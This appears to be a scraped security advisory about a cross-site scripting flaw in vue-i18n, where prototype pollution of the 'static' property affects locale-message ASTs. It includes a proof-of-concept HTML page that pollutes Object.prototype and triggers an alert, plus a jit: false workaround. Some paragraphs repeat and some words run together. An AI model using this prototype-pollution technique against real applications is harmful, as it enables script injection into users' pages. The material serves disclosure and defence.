In general, the locale messages of vue-i18n are optimized during production builds using @intlify/unplugin-vue-i18n,
so there is always a property that is attached during optimization like this time.
But if you are using a locale message AST in development mode or your own, there is a possibility of XSS if a third party injects.
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<title>vue-i18n XSS</title>
<script src="https://unpkg.com/vue@3"></script>
<script src="https://unpkg.com/vue-i18n@10"></script>
<!-- Scripts that perform prototype contamination, such as being distributed from malicious hosting sites or injected through supply chain attacks, etc. -->
<script>
/**
* Prototype pollution vulnerability with `Object.prototype`.
* The 'static' property is part of the optimized AST generated by the vue-i18n message compiler.
* About details of special properties, see https://github.com/intlify/vue-i18n/blob/master/packages/message-compiler/src/nodes.ts
*
* In general, the locale messages of vue-i18n are optimized during production builds using `@intlify/unplugin-vue-i18n`,
* so there is always a property that is attached during optimization like this time.
* But if you are using a locale message AST in development or your own, there is a possibility of XSS if a third party injects prototype pollution code.
*/
Object.defineProperty(Object.prototype, 'static', {
configurable: true,
get() {
alert('prototype polluted!')
return 'prototype pollution'
}
})
</script>
</head>
<body>
<div id="app">
<p>{{ t('hello') }}</p>
</div>
<script>
const { createApp } = Vue
const { createI18n, useI18n } = VueI18n
// AST style locale message, which build by `@intlify/unplugin-vue-i18n`
const en = {
hello: {
type: 0,
body: {
items: [
{
type: 3,
value: 'hello world!'
}
]
}
}
}
const i18n = createI18n({
legacy: false,
locale: 'en',
messages: {
en
}
})
const app = createApp({
setup() {
const { t } = useI18n()
return { t }
}
})
app.use(i18n)
app.mount('#app')
</script>
</body>
</html>Before v10.0.0, we can work around this vulnerability by using the regular compilation (jit: false of @intlify/unplugin-vue-i18n plugin configuration) way instead of jit compilation.
BobbieGoede Remediation reviewer
Vulnerability type
XSS
Description
vue-i18n can be passed locale messages to
createI18noruseI18n.we can then translate them using
tand$t.vue-i18n has its own syntax for local messages, and uses a message compiler to generate AST.
In order to maximize the performance of the translation function, vue-i18n uses bundler plugins such as
@intlify/unplugin-vue-i18nand bulder to convert the AST in advance when building the application.By using that AST as the locale message, it is no longer necessary to compile, and it is possible to translate using the AST.
The AST generated by the message compiler has special properties for each node in the AST tree to maximize performance. In the PoC example below, it is a
staticproperty, but that is just one of the optimizations.About details of special properties, see https://github.com/intlify/vue-i18n/blob/master/packages/message-compiler/src/nodes.ts
In general, the locale messages of vue-i18n are optimized during production builds using
@intlify/unplugin-vue-i18n,so there is always a property that is attached during optimization like this time.
But if you are using a locale message AST in development mode or your own, there is a possibility of XSS if a third party injects.
Reproduce (PoC)
Workarounds
Before v10.0.0, we can work around this vulnerability by using the regular compilation (
jit: falseof@intlify/unplugin-vue-i18nplugin configuration) way instead of jit compilation.References
References